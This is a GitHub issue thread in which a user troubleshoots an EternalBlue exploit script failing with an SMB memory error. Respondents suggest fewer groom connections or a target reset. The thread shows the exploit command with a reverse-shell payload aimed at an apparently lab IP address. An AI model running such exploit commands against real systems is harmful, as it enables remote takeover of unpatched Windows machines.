Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

ERRDOS, code: ERRnomem(Insufficient server memory to perform the requested function #30

Open
codecor opened this issue Mar 21, 2018 · 2 comments

Comments

@codecor
Copy link

codecor commented Mar 21, 2018

Hello,
For some time now, I've been running the following command and receive the below error. I have tried re-installing python-impacket and using the mysmb.py , to no avail. Would you have any insight into what is the problem on my setup/command? Running 2018.1 x64.

Command
python eternalblue_exploit7.py 10.10.10.40 reverse_shell.bin 500

Error:

Traceback (most recent call last):
  File "eternalblue_exploit7.py", line 564, in <module>
    exploit(TARGET, sc, numGroomConn)
  File "eternalblue_exploit7.py", line 508, in exploit
    holeConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x10)
  File "eternalblue_exploit7.py", line 270, in createSessionAllocNonPaged
    conn = smb.SMB(target, target)
  File "/usr/lib/python2.7/dist-packages/impacket/smb.py", line 2402, in __init__
    self.neg_session()
  File "/usr/lib/python2.7/dist-packages/impacket/smb.py", line 2606, in neg_session
    return parsePacket(smb)
  File "/usr/lib/python2.7/dist-packages/impacket/smb.py", line 2560, in parsePacket
    if smb.isValidAnswer(SMB.SMB_COM_NEGOTIATE):
  File "/usr/lib/python2.7/dist-packages/impacket/smb.py", line 712, in isValidAnswer
    raise SessionError, ("SMB Library Error", self['ErrorClass'] + (self['_reserved'] << 8), self['ErrorCode'], self['Flags2'] & SMB.FLAGS2_NT_STATUS)
impacket.smb.SessionError: SMB SessionError: class: ERRDOS, code: ERRnomem(Insufficient server memory to perform the requested function.)
@Bry-fi
Copy link

Bry-fi commented Apr 25, 2018

Have you tried lowering your groom connections? I think 500 maybe to high. I usually use 12 or 17.

@tom-dell
Copy link

re-setting the box seems to work for me

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

3 participants